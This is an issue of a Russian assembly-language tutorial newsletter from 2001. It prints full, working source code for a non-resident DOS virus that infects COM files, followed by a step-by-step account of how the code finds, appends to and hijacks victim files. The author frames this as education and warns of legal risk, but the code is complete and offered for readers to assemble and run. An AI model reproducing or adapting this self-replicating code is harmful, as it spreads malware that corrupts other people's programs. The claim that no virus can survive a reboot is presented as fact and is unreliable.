Калашников.ru - Ассемблер? Это просто!.. (Выпуск № 020) Ассемблер? Это просто! Учимся программировать

______________________________________

Выпуск N 020 (Вирус)

Сегодня в рассылке:

Ваши письма

Вирус готов!

Послесловие. Пофилософствуем?

Ваши письма Друзья мои! Не ожидал я, что получу порядка 300 поздравлений с Новым годом! Огромное вам всем СПАСИБО! Читая многие письма, я даже прослезился! Честное слово! Очень приятно! Я могу в свою очередь поздравить всех вас с Рождеством. Хоть и прошедшим, но все-таки...

Сегодня у нас юбилейный, двадцатый выпуск. Я рад, что мы все-таки дошли до этого номера. Надеюсь, что вместе мы пойдем и дальше. Дойдем до сотен. Представьте, "Выпуск N 126 (Вырисовывается силуэт браузера)"... Да... Размечтался...

_____________

Я до сих пор получаю много писем с вопросами типа: "Будем ли мы проходить инструкции MMX и т.п.?" Конечно, будем! После того, как закончим DOS, возьмемся за Windows, где и рассмотрим все прелести процессоров Pentium. По крайней мере, я надеюсь...

Еще раз повторю: некоторые подписчики с нетерпением ждут программирования на Ассемблере под Windows. Но основная часть нашего коллектива незнакома с DOS. Я считаю, что целесообразней будет пройти DOS, так сказать, "чувствовать себя в ней, как рыба в воде". После этого преспокойненько начнем программировать под Windows. Я даже пока строю планы по объединению двух рассылок: программирование на языках высокого уровня, как то: C++, Pascal и пр. и нашей по Ассемблеру.

Возможно, как перейдем к Windows, у нашей рассылки появятся соведущие. Т.е. рассылку будут вести 2-3 человека на равных правах. Появится больше обсуждений, споров, различных дискуссий и пр. Сейчас вы в основном учитесь писать программы по тем алгоритмам, которые я вам преподношу. Естественно, они не всегда оптимальны на 100%. Ведь одну и ту же задачу можно решить несколькими способами. Не так ли? Думаю, что мы сделаем на сайте доску обсуждений, где каждый сможет оставить для всеобщего обозрения свое решение той или иной задачи, алгоритм, программу и т.д. Хорошо, что я теперь могу использовать CGI, SSI и проч. Как вы думаете, интересно будет? А что еще вы можете предложить?

Вирус  

; VIRUS20.ASM - программа к рассылке № 020 ; (С) Авторское право принадлежит подписчикам рассылки "Ассемблер? Это просто! Учимся программировать" ; Автор рассылки: Калашников Олег Александрович (e-mail: Assembler@Kalashnikoff.ru) ; http://www.Klashnikoff.ru ; --- Ассемблирование (получение *.com файла) --- ;При использовании MASM: ;ML.EXE virus20.asm /AT ;При использовании TASM: ;TASM.EXE virus20.asm ;TLINK.EXE virus20.obj /t/x ;______________________________________________________ .286 CSEG segment assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG org 100h Begin: push offset Init ;3 байта ret ;1 байт dw 1122h ;2 байта (метка, указывающая, что файл уже заражен) ; --------- ;ИТОГО: 6 байт F_bytes equ $-offset Begin ;Длина первых шести байт "файла-жертвы" ; === Процедуры работы с файлами === ; --- Открытие файла для записи --- ; Вход: DX - путь файлу ASCIZ ; Выход: Handle, BX - номер файла Open_file proc mov ax,3D02h ;открываем файл для чтения/записи mov dx,1Eh ;DX указывает на имя найденного файла в DTA int 21h mov Handle,ax ;сохраняем номер файла mov bx,ax ret Handle dw 0FFFFh ;переменная для хранения номера файла Open_file endp ; --- Закрытие файла --- ; Вход: Handle - номер открытого файла ; Выход: ничего Close_file proc cmp Handle,0FFFFh ;нет открытых файлов? je No_close ;тогда выходим (закрывать нечего!) mov bx,Handle ;закрываем файл... mov ah,3Eh int 21h No_close: ret Close_file endp ; --- Поиск первого файла --- Find_first proc mov ah,4Eh ;ищем первый файл по маске (Mask_file) xor cx,cx ;атрибуты обычные (CX=0) mov dx,offset Mask_file ;адрес маски в DS:DX int 21h ;теперь имя файла находится по адресу 0BF00:001Eh ret Mask_file db '*.com',0 ;маска для поиска (только COM-файлы) Find_first endp ; --- Поиск следующих файлов --- Find_next proc xor dx,dx ;DS:DX указывают на DTA xor cx,cx ;Атрибуты обычные mov ah,4Fh int 21h ;Теперь в DTA находится информация о следующем найденном файле ret Find_next endp ; --- Заражение файла --- Infect_file proc ;Основная процедура заражения найденного файла. ;Будем следить за тем, что происходит с "файлом-жертвой". ;Допустим, заражаем такой файл (естественно, com-файл, а не asm!): ;г=======================T=============T=====================================¬ ;¦Ассемблер ¦Машинные коды¦Пояснения ¦ ;¦-----------------------+-------------+-------------------------------------¦ ;¦mov ah,9 ¦B4 09 ¦B4-загрузка в AH, 09-что грузим ¦ ;¦mov dx,offset Message ¦BA 0801 ¦BA-загрузка в DX, 0801-смещ. строки ¦ ;¦int 21h ¦CD 21 ¦CD-int ¦ ;¦ ¦ ¦ ¦ ;¦ret ¦C3 ¦ ¦ ;¦... ¦ ... ¦Еще какие-то данные/коды ¦ ;L=======================¦=============¦=====================================- mov ax,cs:[1Ch] ;Получим второе слово длины заражаемого файла or ax,ax ;Если оно не равно 0, то выходим... jnz Error_infect ;...это значит, что размер файла больше 64Кб. mov bp,cs:[1Ah] ;Получим младшее слово (т.е. размер файла) call Open_file ;Открываем файл jc Error_infect ;Ошибка - на выход mov ah,3Fh mov cx,F_bytes ;Читаем первые шесть байт "файла-жертвы" mov dx,offset Finish ;В хвост нашего вируса int 21h jc Error_infect ;г=======================T=============T=====================================¬ ;¦Ассемблер ¦Машинные коды¦Пояснения ¦ ;¦-----------------------+-------------+-------------------------------------¦ ;¦->mov ah,9 ¦B4 09 ¦Читаем байты этой команды... ¦ ;¦->mov dx,offset Message¦BA 0801 ¦И этой... ¦ ;¦->int ¦CD ¦И один байт этой. ¦ ;¦... ¦ ... ¦Другие данные/коды (НЕ читаем!) ¦ ;L=======================¦=============¦=====================================- ;DX указывает на буфер, куда прочитали эти байты. ;Если файл заражен, то 4 и 5 байты будут равны 2211h (перевернуты наоборот) ;Проверим это, чтобы 2 раза не заражать один и тот же файл... mov bx,dx cmp word ptr [bx+4],1122h ;Проверим на то, заражен ли уже этот файл je Error_infect ;Если да, то - на выход... mov ax,4202h ;Установим указатель чтения/записи на конец файла. mov bx,Handle xor cx,cx ;Отсчитывать 0 байт... xor dx,dx int 21h jc Error_infect mov ah,40h ;В BX уже есть номер файла. mov cx,offset Finish-100h-F_bytes ;Пишем в хвост "файла-жертвы" mov dx,100h ;тело вируса. int 21h jc Error_infect ;Ситуация теперь такая: ;г=======================T=============T=====================================¬ ;¦Ассемблер ¦Машинные коды¦Пояснения ¦ ;¦-----------------------+-------------+-------------------------------------¦ ;¦mov ah,9 ¦B4 09 ¦B4-загрузка в AH, 09-что грузим ¦ ;¦mov dx,offset Message ¦BA 0801 ¦BA-загрузка в DX, 0801-смещ. строки ¦ ;¦int 21h ¦CD 21 ¦CD-int ¦ ;¦ ¦ ¦ ¦ ;¦ret ¦C3 ¦ ¦ ;¦... ¦ ... ¦Еще какие-то данные/коды ¦ ;¦Здесь идет наш вирус ¦ ... ¦ ¦ ;L=======================¦=============¦=====================================- mov ah,40h ;После тела вируса дописываем первые настоящие шесть байт mov cx,F_bytes ;"файла-жертвы"... mov dx,offset Finish int 21h jc Error_infect ;Получаем: ;г=======================T=============T=====================================¬ ;¦Ассемблер ¦Машинные коды¦Пояснения ¦ ;¦-----------------------+-------------+-------------------------------------¦ ;¦mov ah,9 ¦B4 09 ¦B4-загрузка в AH, 09-что грузим ¦ ;¦mov dx,offset Message ¦BA 0801 ¦BA-загрузка в DX, 0801-смещ. строки ¦ ;¦int 21h ¦CD 21 ¦CD-int ¦ ;¦ ¦ ¦ ¦ ;¦ret ¦C3 ¦ ¦ ;¦... ¦ ... ¦Еще какие-то данные/коды ¦ ;¦ ¦ ¦ ¦ ;¦Здесь идет наш вирус ¦ ... ¦ ¦ ;¦mov ah,9 ¦B4 09 ¦ ¦ ;¦mov dx,offset Message ¦BA 0801 ¦ ¦ ;¦int ¦CD ¦ ¦ ;L=======================¦=============¦=====================================- ;Шесть байт дописали в файл прямо за кодом вируса. call Close_file ;Закрываем файл. add bp,offset Init ;К длине файла прибавляем смещение метки Init mov ss:[101h],bp ;Заносим полученный адрес после push call Open_file ;Открываем файл. Теперь указатель в начале... mov ah,40h ;Запишем первые шесть байт (переход на вирус) mov cx,F_bytes ;поверх уже имеющихся... push ss ;Пишем с сегмента "файла-жертвы" pop ds mov dx,100h int 21h ;г=======================T=============T=====================================¬ ;¦Ассемблер ¦Машинные коды¦Пояснения ¦ ;¦-----------------------+-------------+-------------------------------------¦ ;¦push адрес вируса ¦68 адрес ¦Адрес занимает 2 байта ¦ ;¦ret ¦С3 ¦ ¦ ;¦1122h ¦1122 ¦Указатель на то, что файл уже заражен¦ ;¦and ax,bx ¦21C3 ¦Вот такая картина... ¦ ;¦... ¦ ... ¦Еще какие-то данные/коды ¦ ;¦ ¦ ¦ ¦ ;¦Здесь идет наш вирус ¦ ... ¦Этот адрес толкает в стек push ¦ ;¦mov ah,9 ¦B4 09 ¦ ¦ ;¦mov dx,offset Message ¦BA 0801 ¦ ¦ ;¦int ¦CD ¦ ¦ ;L=======================¦=============¦=====================================- push cs pop ds call Close_file ;Закрываем файл clc ;Сигнал успешного заражения... ret Error_infect: call Close_file ;Закрываем файл stc ;Сигнал того, что произошла ошибка при заражении. ret Infect_file endp ; === Процедура инициализации вируса === Init: pusha ;Сохраним все регистры в стеке call Get_IP ;Получим смещение, где мы сейчас находимся Get_IP: pop ax ;Теперь в AX - смещение sub ax,offset Get_IP ;Вычтем из него реальный адрес, где мы будем ;находиться в сегменте 0BF00h ;Получим размер файла-"жертвы", если его нет ;(т.е. мы запускаем вирус первый раз), ;то AX будет равен 0 push 0BF00h pop es ;ES - сегмент, куда будем перемещать код вируса. mov di,offset Open_file ;DI - смещение (адрес самой первой процедуры) mov si,di add si,ax ;SI должен содержать РЕАЛЬНЫЙ адрес (смещение), т.к. мы ;пока еще в сегменте "файла-жертвы"... mov cx,offset Finish-offset Open_file ;CX = длина нашего вируса rep movsb ;Теперь в памяти две копии вируса ;Занесем в стек смещение (Lab_return+AX) и сегмент (CS) возврата из копии... mov bx,offset Lab_return add bx,ax ;Как бы искусственно заносим адрес возврата для retf push cs push bx ;Занесем в стек адрес для перехода в нашу копию: ; * сегмент - 0BF00h ; * смещение - Lab_jmp mov bx,offset Lab_jmp ;Аналогично вышесказанному... push 0BF00h push bx ;Теперь перейдем на метку Lab_jmp, расположенную в сегменте 0BF00h. retf ; Теперь мы уже в области экрана Lab_jmp: ;CS теперь равен 0BF00h. push cs ;настроим регистр DS pop ds mov ah,1Ah ;установим DTA для поиска файлов xor dx,dx ;он устанавливается на тот адрес, который содержится int 21h ;в регистрах DS:DX. В отладчике смотрите, ;что находится в памяти на которую указывают данные ;регистры, т.е. DS:DX... call Find_first ;ищем первый файл jc Nomore_files ;нет COM-файлов в текущем каталоге - на выход Inf_file: call Infect_file ;нашли - пробуем заразить jnc Nomore_files ;удалось заразить - выходим call Find_next ;не удалось заразить - ищем следующий jnc Inf_file ;нашли еще один COM-файл; пробуем заразить... ;Восстановим первые шесть байт файла-жертвы в памяти ;Вот, что мы имеем до восстановления байт: ;г=======================T=============T=====================================¬ ;¦Ассемблер ¦Машинные коды¦Пояснения ¦ ;¦-----------------------+-------------+-------------------------------------¦ ;¦push адрес вируса ¦68 адрес ¦Адрес занимает 2 байта ¦ ;¦ret ¦С3 ¦ ¦ ;¦1122h ¦1122 ¦Указатель на то, что файл уже заражен¦ ;¦and ax,bx ¦21C3 ¦Вот такая картина... ¦ ;¦... ¦ ... ¦Еще какие-то данные/коды ¦ ;¦ ¦ ¦ ¦ ;¦Здесь идет наш вирус ¦ ... ¦ ¦ ;¦Init: ¦ --- ¦Этот адрес толкает в стек push ¦ ;¦ ¦ ¦ ¦ ;¦->mov ah,9 ¦B4 09 ¦Вот эти байты нужно... ¦ ;¦->mov dx,offset Message¦BA 0801 ¦...переместить по адресу... ¦ ;¦->int ¦CD ¦...100h, чтобы восстановить файл ¦ ;L=======================¦=============¦=====================================- ;Примечание. Init: - метка инициализации вируса. См. ниже. Nomore_files: mov si,offset First_bytes ;DS:SI - на массив из шести байт mov di,100h ;ES:DI - куда перемещать строку (шесть байт) push ss ;ES должен указывать на сегмент "файла-жертвы" pop es mov cx,F_bytes ;6 байт перемещаем: DS:SI = ES:DI rep movsb ;Вот, что получили после перемещения шести байт "файла-жертвы": ;г=======================T=============T=====================================¬ ;¦Ассемблер ¦Машинные коды¦Пояснения ¦ ;¦-----------------------+-------------+-------------------------------------¦ ;¦mov ah,9 ¦B4 09 ¦Эта строка находится по адресу 100h ¦ ;¦mov dx,offset Message ¦BA 0801 ¦ ¦ ;¦int 21h ¦CD 21 ¦ ¦ ;¦ ¦ ¦ ¦ ;¦ret ¦C3 ¦ ¦ ;¦... ¦ ... ¦Еще какие-то данные/коды ¦ ;¦ ¦ ¦ ¦ ;¦Здесь идет наш вирус ¦ ... ¦ ¦ ;¦mov ah,9 ¦B4 09 ¦ ¦ ;¦mov dx,offset Message ¦BA 0801 ¦ ¦ ;¦int ¦CD ¦ ¦ ;L=======================¦=============¦=====================================- ;Осталось только передать управление на адрес 100h. ;Вернемся в сегмент программы-"жертвы", т.е. туда, где мы ;были изначально. retf ; Теперь мы опять в сегменте зараженной программы Lab_return: push cs ;восстановим DS (ES уже в порядке!) pop ds mov ah,1Ah ;восстановим DTA mov dx,80h int 21h popa ;Восстановим регистры ;!!! Передаем управление "файлу-жертве" !!! push 100h ;Обратите внимание, как мы теперь переходим... ret ;...на адрес 100h. ; === Данные === ;Здесь (First_bytes) будут храниться первые байты "файла-жертвы". ;Если это первый запуск вируса, то по умолчанию получим: ;nop (90h) ;nop (90h) ;nop (90h) ;nop (90h) ;int 20h (0CDh, 20h) ;Итого: 6 байт ;Первые шесть байт зараженного файла будут такими: ;1 - push (68h) ;2,3 - адрес метки инициализации вируса ;4 - ret (0C3h) ;5,6 - заражен ли файл уже (1122h)? First_bytes db 4 dup (90h), 0CDh, 20h Finish equ $ CSEG ends end Begin

 

Как переписать файл-приложение в текстовый файл формата DOS?

отметьте "мышкой" все, что находится в приведенном выше окне (правая кнопка "мыши" ---> Выделить все (Select all));

нажмите Ctrl+Insert;

запустите DOS Navigator, Norton Commander, Volcov Commander или FAR;

нажмите Shift+F4;

введите имя файла VIRUS20.ASM;

нажмите Shift+Insert;

нажмите F2;

выходите в DOS и ассемблируйте!

Вы готовы в юбилейном выпуске научиться заражать другие программы? Время пришло. Теперь наш вирус полностью работоспособен. Будьте осторожны! Случайно заразив нужный файл, вам придется провести некоторое время, чтобы вылечить его вручную. Сразу предупреждаю: мы пока антивирус не написали. У меня его тоже нет. Так что, будьте предельно внимательны!

Несколько слов о вирусе (прочтите, прежде чем запускать вирус!):

1) Вирус нерезидентный. Это значит, что заражать он будет программы только, если запустить зараженный com-файл. В памяти ничего не остается!

2) Вирус не делает ничего, кроме как заражает файлы.

3) Ни один антивирус не вылечит файл, зараженный нашим вирусом! Так что, не надейтесь ни на Dr. Web, ни на что-либо еще...

4) Вирус заражает только *.com-файлы в текущем каталоге. Что это значит? Допустим, в каталоге c:\assm есть следующие файлы:

1. test.com

2. dn.com

3. nc.exe

причем, test.com заражен нашим вирусом. Запуская test.com на выполнение, он заражает dn.com. Запустив затем dn.com, вирус ничего не заразит, т.к. в данном каталоге больше нет незараженных нашим вирусом *.com-файлов.

НО! Если у вас в path (в autoexec.bat) стоит путь к каталогу c:\assm, то, запустив test.com с текущего каталога, скажем, c:\nc, наш вирус заразит первый встречный com-файл в каталоге c:\nc. Будьте осторожны!!!

Если все же произошла беда, и вы не знаете, как удалить вирус, заразивший весь компьютер, то срочно напишите мне письмо. Я объясню, как восстановить зараженный файл. Хотя, если перед тем, как запускать virus20.com на выполнение, вы прочтете описания к нему и разберетесь во всем, то труда восстановить зараженный файл у вас не составит. Если будет время, то я выложу на сайт на головной странице антивирус (на всякий случай. А вдруг кому пригодится?). А вообще сами сможете написать антивирус? Конечно! Буду рад ознакомиться с вашим творчеством. Присылайте варианты!

5) *.Com-файлы, расположенные в каталоге c:\windows\command, после заражения отказываются работать корректно. С чем это связано - не совсем понятно. Сжав эти файлы Pklite, результат был тот же (т.е. неправильное определение командной строки). Скорее всего, они подсчитывают контрольную сумму или еще чего-то... Может, кто знает - напишите. Мне нет времени разбираться. Для экспериментов придется искать другие *.com-файлы.

6) Как вы думаете, зачем мы изучали работу отладчика в 16 выпуске? Дело в том, что если вы будете исследовать работу вируса в отладчике, то столкнетесь с одной проблемой. Записав вирус в файл, используя отладчик, вы с удивлением заметите, что зараженный файл работать не будет. Почему? Вспомните, что отладчик вставляет INT 3 (0CCh). Для чего мы проходили это? Думайте, вспоминайте...

В последующих выпусках мы напишем антивирус, а также я придумаю, чтобы такое нехорошее, безобидное, но интересное и прикольное делать нашему вирусу.

___________

Теперь ближе к делу.

Вопрос: можно ли вместо RET и CALL использовать JMP? А вместо JMP - RET?

Конечно, можно! Вот простейшие примеры:

Команда Альтернатива Примечание RET POP AX

JMP AX Вытащим со стека адрес возврата и перейдем на него CALL PROCED

MOV BX,OFFSET LAB_RET

PUSH BX

JMP PROCED

LAB_RET: Занесем в стек адрес возврата и "прыгнем" на метку процедуры JMP LABEL1 PUSH OFFSET LABEL1

RET Занесем в стек адрес метки и сымитируем выход из процедуры В некоторых случаях бывает полезно пользоваться нестандартными командами.

К чему я это говорю? Обратите внимание, как мы теперь переходим на метку инициализации вируса (Init):

push offset Init ;3 байта

ret ;1 байт

Ну и зачем? Дело в том, что так будет нам удобней менять адрес метки Init в зараженных файлах. Читайте ниже - будет понятно.

Как происходит заражение файла?

Как выглядит "файл-жертва" после заражения?

Заражение файла происходит следующим образом (смотрите процедуру Infect_file). Опустим поиск файлов. Будем считать, что файл уже найден. Осталось только проверить его длину:

mov ax,cs:[1Ch] ;Получим второе слово длины заражаемого файла

or ax,ax ;Если оно не равно 0, то выходим...

jnz Error_infect ;...это значит, что размер файла больше 64Кб.

mov bp,cs:[1Ah] ;Получим младшее слово (т.е. размер файла)

Зачем мы проверяем длину com-файла, если известно, что com-файлы не могут быть больше 64Кб? Дело в том, что DOS определяет какой тип файла запускается не по расширению, а по его первым двум байтам содержимого файла. Если это "MZ" или "ZM", то файл - EXE, иначе - COM. Можете проверить... Таким образом, ничего не мешает любому пользователю переименовать файл, например, test.exe длиной 450Кб в test.com. DOS все равно определит, что это EXE-файл по первым двум байтам.

Примером может служить COMMAND.COM, который в DOS 7.0 занимает 95Кб. Расширение COM оставили для совместимости с программами, написанными в более старых версиях DOS.

Так что же получится, если мы попробуем заразить тот же COMMAND.COM, который по сути является COMMAND.EXE? Да ничего! Мы просто его испортим! Т.е. он перестанет работать вообще. Вот, собственно, для этого и следует проверить размер на то, что он меньше 64Кб.

Обратите внимание, как мы это делаем. После того, как функция 4Fh (4Eh) нашла файл, в DTA по смещению 1Ah заносится размер файла. Т.к. два байта могут хранить число до 65.535, то для определения размера файла используется два слова. Первое (смещение 1Ah) - младшая половинка, второе (смещение - 1Ch) - старшее. Вспоминаем, что данные в памяти хранятся наоборот ("задом наперед").

Что мы еще не сделали в вирусе, так это - не проверили первые два символа (MZ). Зачем? А что, если exe-файл имеет длину менее 64Кб, но расширение COM? Такое ведь тоже может быть... Ну, просто кто-то пошутил... Надеюсь, что Вы без труда это сделаете сами.

Следующие шаги:

открываем найденный файл на чтение / запись (3D02h);

читаем первые шесть байт его (3Fh);

проверяем, заражен ли этот файл нашим вирусом уже или еще нет.

Здесь остановимся ненадолго. В нашем примере мы используем т.н. сигнатуру 1122h для определения того, заражен ли найденный файл нашим вирусом или нет. Эта сигнатура должна быть расположена по смещению +4 от начала файла. Обратите внимание, что мы проверяем

cmp word ptr [bx+4],1122h

а в файле 1122h будут располагаться наоборот: 2211h. Вот вам еще одно подтверждение того, что данные в компьютере хранятся "задом наперед".

А что, если в каком-то незараженном файле по смещению +4 от начала уже есть такие строки? Получается, что мы посчитаем, что файл уже заражен? Да. Но как вы думаете, какова вероятность того, что эта сигнатура будет находиться в файле по такому смещению? Возможно, даже еще и файла-то такого нет... Но если вы все равно сомневаетесь, то можете сделать сигнатуру более длинной. Например, 6 байт. Это уже дело времени...

Итак, проверили... Затем устанавливаем указатель файла на конец файла. Будем дописывать в хвост файла наш вирус.

Как вы уже заметили, мы используем функцию 4202h для перемещения указателя на конец файла. Вот, рассмотрим эту функцию:

Функция 4202h прерывания 21h: установка указателя на конец файла.

Вход: AX=4202h

BX=номер файла

CX, DX = количество байт, которые необходимо отсчитать от конца файла и установить на них указатель. Выход: JC - ошибка Если в регистрах CX и DX мы укажем 0, то указатель будет установлен сразу за последним байтом файла. Пока нас это только интересует. Указатель - только для DOS. Он служит для указания ОС из какого места читать или в какое место писать байт(ы). Если указатель не переместить на конец файла, то, записав тело вируса, мы затрем файл, начиная со смещения 7.

Запомните, что:

при открытии файла указатель устанавливается на начало файла автоматически. Если указатель установлен где-то на середину файла, то, закрыв файл, а затем обратно открыв его, то указатель установится на начало файла.

при чтении файла указатель перемещается на количество прочитанных байт. Т.е. если файл имеет длину 3.000 байт, то прочитав 1.500 байт, указатель переместится на середину файла.

Все просто!

В нашем примере мы устанавливаем на конец файла указатель, чтобы записать наш вирус в "хвост" "файла-жертвы".

Итак, это сделали. Теперь можем и записывать вирус в "хвост", используя известную уже вам функцию 40h. Интересно, а вы сможете разобраться с этой строкой:

mov cx,offset Finish-100h-F_bytes

Сколько байт мы будем записывать и почему именно столько?

Записали. Теперь можно сказать, что файл уже заражен. Его размер увеличился на длину нашего файла. Чего не хватает?

Если мы запустим зараженный файл, то наш вирус не получит управления. Почему? А вы не поняли? Мало ли, какой чуши записано в конце файла. Эта "чушь" ведь не получает управление! А как сделать так, чтобы наш вирус первый получил управление? Нужно первые байты "файла-жертвы" (начинающиеся с адреса 100h) заменить на переход на наш вирус, а затем, как вирус отработает, восстановить эти байты в памяти и "прыгнуть" по адресу 100h. Вы поняли, о чем речь идет?

Следующий шаг: записываем после нашего вируса первые шесть байт, которые мы меняем:

mov ah,40h ;После тела вируса дописываем первые настоящие шесть байт

mov cx,F_bytes ;"файла-жертвы"...

mov dx,offset Finish

int 21h

Теперь нам нужно сделать так, чтобы наш вирус первым получил управление. Т.е. прежде, чем получит управление "файл-жертва", наш вирус должен получить управление, отработать, а затем сделать так, чтобы "файл-жертва" заработала, не подозревая о том, что кто-то прежде получил управление.

Для этого необходимо вместо первых шести байт, которые мы записали в "хвост" файла после тела вируса, записать переход на на метку Init. Т.о. при запуске файла наш вирус первый получит управление, отработает, восстановит в памяти первые шеть байт и передаст управление "файлу-жертве".

Заменяем первые шесть байт на диске. А как? Но мы ведь получили размер файла. Его храним в регистре BP (см. примечания в файле-приложении). Сделаем таким образом:

push адрес перехода на метку Init

ret

Если файл 3.000 байт, то после PUSH будет один адрес, а если файл 5.000 байт, то переход будет на другой адрес. Более подробней смотрите описание в файле-приложении.

Все! Теперь файл заражен корректно. При его запуске первым получит управление наш вирус. Осталось восстановить в памяти первые шесть байт "файла-жертвы" (мы-то их сохранили после тела вируса!) и передать управление по адресу 100h.

Итак, общая схема:

ищем com-файл;

читаем первые шесть байт найденного файла;

файл больше 64Кб - см. пункт 1;

по смещению +4 от начала файла находится 1122h? Если да - см. пункт 1;

пишем в "хвост" найденного файла тело нашего вируса;

пишем после тела вируса первые шесть настоящих байт "файла-жертвы";

закрываем файл;

создаем искусственный переход на метку Inint, путем вычисления размера файла;

открываем файл (указатель на начале файла);

пишем первые шесть байт перехода на на тело вируса + 1122h для опознавания того, что файл уже заражен нашим вирусом;

закрываем файл;

восстановим первые шесть реальных байт "файла-жертвы" в памяти (они-то у нас записаны в "хвосте" "файла-жертвы" (см. пункт 6.);

передаем управление нашему "файлу-жертве";

ВСЕ!!!

Просто? Да проще не бывает! Внимательно изучите файл-приложение, комментарии к нему. Все будет "тип-топ"!

Еще раз подчеркну: будьте осторожны при экспериментах. Создайте отдельный каталог, куда перепишите com-файлы, над которыми можно будет производить эксперименты.

Ситуация проясниться, когда вы ознакомитесь с файлом-приложением, поэкспериментируете с отладчиком (но не забывайте про 16 выпуск!), "повтыкаете" туда свои вставки, команды и пр. Пробуйте, экспериментируйте. Да воздастся вам!!!

Послесловие. Пофилософствуем?

Ну, дорогие мои! Поздравляю вас! Вы только что написали первый вирус. Что я могу сказать в завершение...

Прежде всего, мне хотелось бы, чтобы информация, полученная вами из рассылки пошла во благо, а не во вред. Подавая запрос в Subsribe.ru на перевод рассылки в категорию "золотых", я получил ответ, в котором меня спрашивали: "Вы действительно уверены в том, что хотите обучать подписчиков написанию вируса?" Да, я уверен. Я уверен просто потому, что знаю, изучи вы Ассемблер, первое, что придет большинству из вас в голову, так это написать вирус. Я также уверен, что, изобретая вирус в три часа ночи, вы вдруг поймете, как работает та или иная штуковина. Вы поймете многое. Сам когда-то проходил через это. Да... Были времена... Когда тех, кто писал вирусы считали "суперкрутыми" программистами. Когда вирусов боялись больше суда божьего. Вирус "DIR" наводил такой ужас в компьютерных центрах, что я готов был отказаться от всего, что у меня было (дискеты, компьютеры, игры...). Но познакомившись с Ассемблером поближе, я понял, что вирус - это прежде всего программа, которую написал человек. А что, если и болезни (грипп, простуда, СПИД и пр.) - это тоже не более чем программа, написанная кем-то свыше? Причем, этот кто-то гораздо разумнее нас... Как вы думаете? Ведь можно представить, что для кого-то человек - как для нас компьютер, которым можно манипулировать, управлять... Я не верю в высшие силы. Но ведь иногда волей-неволей задумываешься над этим. Компьютер ведь пока не подозревает о том, что его создал человек. Работает себе... То, да се...

В свое время, выучив в определенной степени Ассемблер, я писал много вирусов как резидентных, так и нерезидентных. Я "порол" свой "винт" раз 15. Но упорно шел вперед, изучал что-то новое, экспериментировал... Я уверен, что в своей жизни вы напишете хоть один вирус. Я не могу сказать, что это плохо. Это нормально, даже хорошо, интересно. Но хорошо в том случае, если ваш вирус не выходит во "внешний мир". Более того, я должен повторно предупредить вас, что за распространение вирусоподобных программ вы попадаете под уголовную статью РФ. Так что, прежде, чем нести ваш вирус кому-то, подумайте хорошо: а зачем это вообще нужно? Сколько раз ВЫ в своей жизни страдали от того, что вирус, написанный каким-то гадом, форматировал Ваш винчестер? Сколько драгоценного времени вы тратили впустую, восстанавливая поврежденные программы? Сколько полезного вы могли бы сделать за это время?

"Зачем же тогда ты научил нас писать вирус, пусть даже самый простой и безобидный?" - спросите вы. Я повторю: изучив Ассемблер, вы все равно его бы написали. Дело только во времени. Целью данной рассылки было не научить вас писать вирусы, а дать понять, что вирус - это не так страшно. Научить вас бороться с этой заразой хоть как-то. Надеюсь, что у многих страх перед "ужасными, злыми и беспощадными" вирусами развеялся.

Мы написали элементарнейший нерезидентный вирус, заражающий com-файлы в текущем каталоге. Но принцип работы у всех вирусов одинаковый. Запомните: вирус в своем теле обязательно хранит первые байты зараженной com-программы или изначальную структуру exe-программы. Первые байты могут быть как в закодированном, так и в незакодированном виде (как в нашем примере). Вирусы могут быть резидентные и нерезидентные. Но в теле любого вируса можно всегда найти те байты, которые нужны для восстановления зараженного файла, если, конечно, вирус не разрушает напрочь программу, делая ее невосстановимой и - соответственно - неработоспособной. А как вы думали антивирусы "лечат" файлы? Прежде всего, создатели антивирусов исследуют зараженные файлы (как врачи больного, зараженного неизвестной болезнью). Затем пишу программу, которая бы "вылечивала" зараженный файл. И все! Антивирус готов!

Еще, вероятно, вы слышали о том, что существуют вирусы, которые не удаляются из памяти при перезагрузке компьютера. Уверяю вас: это невозможно. Вирус находится в ОЗУ, которая очищается после выключения питания.

Однако, очень редко вирусы имитируют "горячую" перезагрузку компьютера (при нажатии пользователем на Ctrl+Alt+Del), используя прерывание 19h. Пользователь не заметит того, что это псевдоперезагрузка только на том компьютере, для которого писался данный вирус. Например, вирус написан для 80286, в котором экран после нажатия на Ctrl+Alt+Del имеет определенный вид. Но на другой "двойке", у которой на экране совсем другое изображено, пользователь сразу заметит подвох.

__________

Вот, собственно, и все! Как говорится, "у добры шлях"!

С уважением,

Автор рассылки: Калашников Олег

URL сайта подписчиков: http://www.Kalashnikoff.ru

E-mail для вопросов: Assembler@Kalashnikoff.ru

UIN: 68951340

Москва, 2001.

(C) Авторское право принадлежит автору рассылки. Использование материала из рассылки в коммерческих и иных подобных целях, а также публичное публикование без письменного согласия автора влечет ответственность за нарушение авторских прав. [Следующий выпуск] [На главную страницу]

u="u496.71.spylog.com";d=document;nv=navigator;na=nv.appName;p=1; bv=Math.round(parseFloat(nv.appVersion)*100); n=(na.substring(0,2)=="Mi")?0:1;rn=Math.random();z="p="+p+"&rn="+rn;y=""; y+=""; y+=""; y+=""; d.write(y);if(!n) { d.write("

Соседние файлы в папке Выпуски